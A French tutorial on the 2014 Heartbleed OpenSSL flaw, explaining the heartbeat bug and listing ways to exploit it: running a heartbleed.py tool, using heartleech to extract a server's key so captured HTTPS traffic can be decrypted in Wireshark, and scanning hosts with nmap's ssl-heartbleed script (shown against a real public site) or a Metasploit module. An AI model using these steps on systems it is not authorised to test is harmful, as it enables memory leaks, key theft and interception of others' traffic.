Faille OpenSSL:

Heartbleed est une faille SSL/TLS qui permet de lire une partie de la mémoire du serveur (plus exactement 64k).

Il s'agit d'un trou de sécurité dans OpenSSL, une librairie qui gère les échanges entre un client et le serveur en chiffrant les informations à l'aide de certificat.

D'où vient le nom Heartbleed ?

Le mot “heartbeat” qui signifie “battement de cœur”, désigne en informatique une façon pour un système de vérifier la présence d'un autre, sous la forme d'un envoi et d'une réponse rappelant le battement du cœur. La faille survient dans l'implémentation de cet échange, où un système pouvait demander à l'autre de ne pas renvoyer une simple validation de sa présence, mais jusqu'à 64 000 caractères (ou 64 k). D'où le nom “Heartbleed”, qui signifie “saignement du coeur”.

Schéma du fonctionnement de la faille

http://www.heartbleed.fr/images/heartbleed.png

Exploitation

Comme vous pouvez le constater c'est relativement embêtant.

Première technique d'exploitation

Un outil Python nommé Heartbleed.py a été développé (les informaticiens sont généralement très inventif quand il s'agit de donner des noms)

Le voici : http://wikisecu.fr/tools/heartbleed.py

Utilisation :

python heartbleed.py nom_du_site_web

Si le port ssl n'est pas spécifié c'estle port 443 qui est utilisé par défaut.

Pour spécifier un autre port , utilisez l'option -p

Vous devriez obtenir cela :

Vous pouvez obtenir des informations précieuses lors d'un test d'intrusion.

Seconde technique d'exploitation :

Si vous analysez une capture d'un trafic réseau, il se peut que vous aillez été confronté à des trames chiffrées en https. Si vous n'avez pas le certificat, impossible de lire le contenu des paquets.

Un outil à été développé sur https://github.com/robertdavidgraham/heartleech par Robertdavidgraham , il permet d'aspirer le certificat du site qui chiffre les connexions grâce à la librairie OpenSSL

Une fois le certificat récupéré il suffit de l'ajouter à Wireshark pour déchiffrer les paquets (Si il y a des intéressés, je ferais un article plus détaillé dessus.)

Pousser un peu plus loin la technique:

Avec NMAP :

Il existe un script nse (script pour nmap) dédié pour heartbleed. (tuto sur kali linux)

Vous pouvez le télécharger :

https://svn.nmap.org/nmap/scripts/ssl-heartbleed.nse (le script)

https://svn.nmap.org/nmap/nselib/tls.lua (la librairie nécessaire pour le script)

Copier coller le .nse dans le dossier /usr/share/nmap/scripts/

Il faudra lui ajouter sa librairie que l'on va copier dans /usr/share/nmap/nselib/

On va mettre à jour la base de donnée des scripts nmap :

nmap --script-updatedb

Pour l'utilisation :

nmap -p 443 --script ssl-heartbleed 

exemple:

nmap -p 443 --script ssl-heartbleed www.yahoo.com 

Si le site est vulnérable, la réponse devrait être:

– PORT STATE SERVICE

– 443/tcp open https

– ssl-heartbleed:\r\n

– VULNERABLE:

– The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. It allows for stealing information intended to be protected by SSL/TLS encryption.

– State: VULNERABLE

– Risk factor: High

– Description:

– | OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows for reading memory of systems protected by the vulnerable OpenSSL versions and could allow for disclosure of otherwise encrypted confidential information as well as the encryption keys themselves.

Sources:

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160

http://www.openssl.org/news/secadv_20140407.txt

http://cvedetails.com/cve/2014-0160/

Avec Metasploit:

Un module auxiliaire a été développé, vous le trouverez dans :

auxilary/scanner/ssl/openssl_heartbleed

Il permet de scanner un host pour savoir si il est vulnérable.